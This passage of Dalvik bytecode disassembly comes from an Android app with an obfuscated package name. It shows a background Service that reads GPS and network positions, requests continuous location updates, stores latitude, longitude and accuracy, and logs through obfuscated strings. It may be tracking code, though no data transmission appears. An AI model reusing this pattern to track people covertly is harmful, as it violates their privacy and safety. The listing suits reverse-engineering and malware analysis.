    00082c50move-result-object v1
    00082c52invoke-static {v0, v1}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;Ljava/lang/String;)Ljava/lang/String;
    00082c58sget-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082c5ciget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c60invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082c66move-result-object v1
    00082c68iget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c6cinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082c72move-result-wide v2
    00082c74invoke-static {v2, v3}, Ljava/lang/String;->valueOf(D)Ljava/lang/String;
    00082c7amove-result-object v2
    00082c7cconst-string v3, "long"
    00082c80invoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00082c86sget-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082c8aiget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c8einvoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082c94move-result-object v1
    00082c96iget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c9ainvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082ca0move-result-wide v2
    00082ca2invoke-static {v2, v3}, Ljava/lang/String;->valueOf(D)Ljava/lang/String;
    00082ca8move-result-object v2
    00082caaconst-string v3, "lat"
    00082caeinvoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00082cb4sget-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082cb8iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082cbcinvoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082cc2move-result-object v1
    00082cc4invoke-virtual {v7}, Landroid/location/Location;->getAccuracy()F
    00082ccamove-result v2
    00082cccinvoke-static {v2}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
    00082cd2move-result-object v2
    00082cd4const-string v3, "acc"
    00082cd8invoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00082cdeiget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082ce2invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C15;->c(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
    00082ce8move-result-object v0
    00082ceainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082cf0invoke-virtual {v7}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    00082cf6move-result-object v7
    00082cf8const-string v0, "network"
    00082cfcinvoke-virtual {v7, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00082d02move-result v7
    00082d04if-eqz v7, :cond_123
    00082d08iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d0cinvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->e(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationManager;
    00082d12move-result-object v7
    00082d14const-string v0, "gps"
    00082d18invoke-virtual {v7, v0}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    00082d1emove-result v7
    00082d20if-eqz v7, :cond_123
    00082d24iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d28invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->e(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationManager;
    00082d2emove-result-object v7
    00082d30iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d34invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C15;->f(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationListener;
    00082d3amove-result-object v0
    00082d3cinvoke-virtual {v7, v0}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
    00082d42iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d46const/4 v0, 0x1
    00082d48invoke-static {v7, v0}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;Z)Z
    00082d4eiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d52invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->e(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationManager;
    00082d58move-result-object v0
    00082d5aconst-string v1, "gps"
    00082d5eiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d62invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->g(Lcmf0/c3b5bm90zq/patch/C15;)J
    00082d68move-result-wide v2
    00082d6aiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d6einvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->h(Lcmf0/c3b5bm90zq/patch/C15;)J
    00082d74move-result-wide v4
    00082d76long-to-float v4, v4
    00082d78iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d7cinvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->f(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationListener;
    00082d82move-result-object v5
    00082d84invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
    00082d8areturn-void
    00082b34
    00082d8c
    00082d8c struct try_item
    00082d8c start_addr uint32 0x82d24
    00082d90 insn_count int 15
    00082d92 handler_off uint16 0x82d95
    00082d94
    00082d94 struct encoded_catch_handler_list
    00082d94 size int 1
    00082d95
    00082d95 struct encoded_catch_handler ← 0x82d92
    00082d95 size int64 1
    00082d96 handlers[0].type_idx int 0x5994
    00082d98 handlers[0].addr uint32 0x82d42
    00082d9a
    00082d9a // align 0x4
    00082d9c
    00082d9ccmf0.c3b5bm90zq.patch.C15$1::onProviderDisabled(java.lang.String):
    00082dacnew-instance v5, Ljava/lang/StringBuilder;
    00082db0invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00082db6sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082dbaconst-wide/16 v2, 0x49
    00082dbeinvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082dc4move-result-object v0
    00082dc6invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082dccsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082dd0invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082dd6sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082ddaconst-wide/16 v2, 0x53
    00082ddeinvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082de4move-result-object v0
    00082de6invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082decsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082df0invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082df6const-string v0, "Gps is turned off "
    00082dfainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e00sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e04invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e0aconst-string v0, "null"
    00082e0einvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e14sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e18invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e1econst-string v0, "null"
    00082e22invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e28sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e2cinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e32const-string v0, "null"
    00082e36invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e3cinvoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082e42move-result-object v5
    00082e44invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082e4areturn-void
    00082d9c
    00082e4c
    00082e4ccmf0.c3b5bm90zq.patch.C15$1::onProviderEnabled(java.lang.String):
    00082e5cnew-instance v5, Ljava/lang/StringBuilder;
    00082e60invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00082e66sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082e6aconst-wide/16 v2, 0x49
    00082e6einvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082e74move-result-object v0
    00082e76invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e7csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e80invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e86sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082e8aconst-wide/16 v2, 0x53
    00082e8einvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082e94move-result-object v0
    00082e96invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e9csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082ea0invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ea6const-string v0, "Gps is turned on "
    00082eaainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082eb0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082eb4invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ebaconst-string v0, "null"
    00082ebeinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ec4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082ec8invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ececonst-string v0, "null"
    00082ed2invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ed8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082edcinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ee2const-string v0, "null"
    00082ee6invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082eecinvoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082ef2move-result-object v5
    00082ef4invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082efareturn-void
    00082e4c
    00082efc
    00082efccmf0.c3b5bm90zq.patch.C15$1::onStatusChanged(java.lang.String, int, android.os.Bundle):
    00082f0creturn-void
    00082efc
    00082f0e
    00082f0e // align 0x10
    00082f10
    00082f10cmf0.c3b5bm90zq.patch.C15::<clinit>():
    00082f20new-instance v0, Lcmf0/c3b5bm90zq/patch/a;
    00082f24invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/a;-><init>()V
    00082f2asput-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082f2ereturn-void
    00082f10
    00082f30
    00082f30cmf0.c3b5bm90zq.patch.C15::<init>():
    00082f40invoke-direct {v2}, Landroid/app/Service;-><init>()V
    00082f46const-wide/16 v0, 0x1388
    00082f4aiput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->b:J
    00082f4econst-wide/16 v0, 0x0
    00082f52iput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->c:J
    00082f56const-wide/16 v0, 0x0
    00082f5aiput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00082f5eiput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    00082f62const/4 v0, 0x0
    00082f64iput-boolean v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->j:Z
    00082f68return-void
    00082f30
    00082f6a
    00082f6a // align 0x4
    00082f6c
    00082f6ccmf0.c3b5bm90zq.patch.C15::a(cmf0.c3b5bm90zq.patch.C15):
    00082f7ciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00082f80return-wide v0
    00082f6c
    00082f82
    00082f82 // align 0x4
    00082f84
    00082f84cmf0.c3b5bm90zq.patch.C15::a(cmf0.c3b5bm90zq.patch.C15, double):
    00082f94iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    00082f98return-wide v1
    00082f84
    00082f9a
    00082f9a // align 0x4
    00082f9c
    00082f9ccmf0.c3b5bm90zq.patch.C15::a(cmf0.c3b5bm90zq.patch.C15, java.lang.String):
    00082faciput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C15;->h:Ljava/lang/String;
    00082fb0return-object v1
    00082f9c
    00082fb2
    00082fb2 // align 0x4
    00082fb4
    00082fb4cmf0.c3b5bm90zq.patch.C15::a():
    00082fc4const-wide/16 v0, 0x53
    00082fc8const-wide/16 v2, 0x49
    00082fccconst-string v4, "location"
    00082fd0invoke-virtual {v12, v4}, Lcmf0/c3b5bm90zq/patch/C15;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082fd6move-result-object v4
    00082fd8check-cast v4, Landroid/location/LocationManager;
    00082fdciput-object v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    00082fe0new-instance v4, Lcmf0/c3b5bm90zq/patch/C15$1;
    00082fe4invoke-direct {v4, v12}, Lcmf0/c3b5bm90zq/patch/C15$1;-><init>(Lcmf0/c3b5bm90zq/patch/C15;)V
    00082feaiput-object v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    00082feeinvoke-virtual {v12}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082ff4move-result-object v4
    00082ff6const-string v5, "android.permission.ACCESS_FINE_LOCATION"
    00082ffainvoke-static {v4, v5}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    00083000move-result v4
    00083002if-eqz v4, :cond_2e
    00083006invoke-virtual {v12}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    0008300cmove-result-object v4
    0008300econst-string v5, "android.permission.ACCESS_COARSE_LOCATION"
    00083012invoke-static {v4, v5}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    00083018move-result v4
    0008301aif-eqz v4, :cond_2e
    0008301ereturn-void
    00083020iget-object v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    00083024const-string v5, "network"
    00083028invoke-virtual {v4, v5}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    0008302emove-result v4
    00083030iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    00083034const-string v6, "gps"
    00083038invoke-virtual {v5, v6}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    0008303emove-result v5
    00083040if-nez v5, :cond_8f
    00083044if-nez v4, :cond_8f
    00083048new-instance v4, Ljava/lang/StringBuilder;
    0008304cinvoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    00083052sget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083056invoke-static {v5, v6, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008305cmove-result-object v5
    0008305einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083064sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083068invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008306esget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083072invoke-static {v5, v6, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083078move-result-object v5
    0008307ainvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083080sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083084invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008308aconst-string v5, "Can't get location by any one "
    0008308einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083094sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083098invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008309econst-string v5, "null"
    000830a2invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830a8sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000830acinvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830b2const-string v5, "null"
    000830b6invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830bcsget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000830c0invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830c6const-string v5, "null"
    000830cainvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830d0invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000830d6move-result-object v4
    000830d8invoke-static {v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000830degoto/16 :goto_1df
    000830e2const-wide/16 v6, 0x6b
    000830e6if-eqz v4, :cond_fe
    000830eaiget-object v8, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000830eeconst-string v9, "network"
    000830f2invoke-virtual {v8, v9}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
    000830f8move-result-object v8
    000830faif-eqz v8, :cond_168
    000830feinvoke-virtual {v8}, Landroid/location/Location;->getLongitude()D
    00083104move-result-wide v9
    00083106iput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    0008310ainvoke-virtual {v8}, Landroid/location/Location;->getLatitude()D
    00083110move-result-wide v9
    00083112iput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00083116new-instance v9, Ljava/lang/StringBuilder;
    0008311ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00083120sget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083124invoke-static {v10, v11, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008312amove-result-object v10
    0008312cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083132sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083136invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008313csget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083140invoke-static {v10, v11, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083146move-result-object v6
    00083148invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008314esget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083152invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083158iget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    0008315cinvoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00083162sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083166invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008316ciget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    00083170invoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00083176sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008317ainvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083180const-string v6, "LKL "
    00083184invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008318ainvoke-virtual {v8}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    00083190move-result-object v6
    00083192invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083198sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008319cinvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000831a2invoke-virtual {v8}, Landroid/location/Location;->getAccuracy()F
    000831a8move-result v6
    000831aainvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
    000831b0invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000831b6move-result-object v6
    000831b8invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000831begoto :goto_168
    000831c0if-eqz v5, :cond_168
    000831c4iget-object v8, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000831c8const-string v9, "gps"
    000831ccinvoke-virtual {v8, v9}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
    000831d2move-result-object v8
    000831d4if-eqz v8, :cond_168
    000831d8invoke-virtual {v8}, Landroid/location/Location;->getLongitude()D
    000831demove-result-wide v9
    000831e0iput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    000831e4invoke-virtual {v8}, Landroid/location/Location;->getLatitude()D
    000831eamove-result-wide v9
    000831eciput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    000831f0new-instance v9, Ljava/lang/StringBuilder;
    000831f4invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    000831fasget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000831feinvoke-static {v10, v11, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083204move-result-object v10
    00083206invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008320csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083210invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083216sget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008321ainvoke-static {v10, v11, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083220move-result-object v6
    00083222invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083228sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008322cinvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083232iget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00083236invoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    0008323csget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083240invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083246iget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    0008324ainvoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00083250sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083254invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008325aconst-string v6, "LKL "
    0008325einvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083264invoke-virtual {v8}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    0008326amove-result-object v6
    0008326cinvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083272sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083276invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008327cinvoke-virtual {v8}, Landroid/location/Location;->getAccuracy()F
    00083282move-result v6
    00083284invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
    0008328ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083290move-result-object v6
    00083292goto :goto_fa
    00083294if-eqz v4, :cond_17d
    00083298iget-boolean v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->j:Z
    0008329cif-nez v4, :cond_1df
    000832a0iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000832a4const-string v6, "network"
    000832a8iget-wide v7, v12, Lcmf0/c3b5bm90zq/patch/C15;->b:J
    000832aciget-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->c:J
    000832b0long-to-float v9, v9
    000832b2iget-object v10, v12, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    000832b6invoke-virtual/range {v5 .. v10}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
    000832bcgoto :goto_1df
    000832beif-eqz v5, :cond_1df
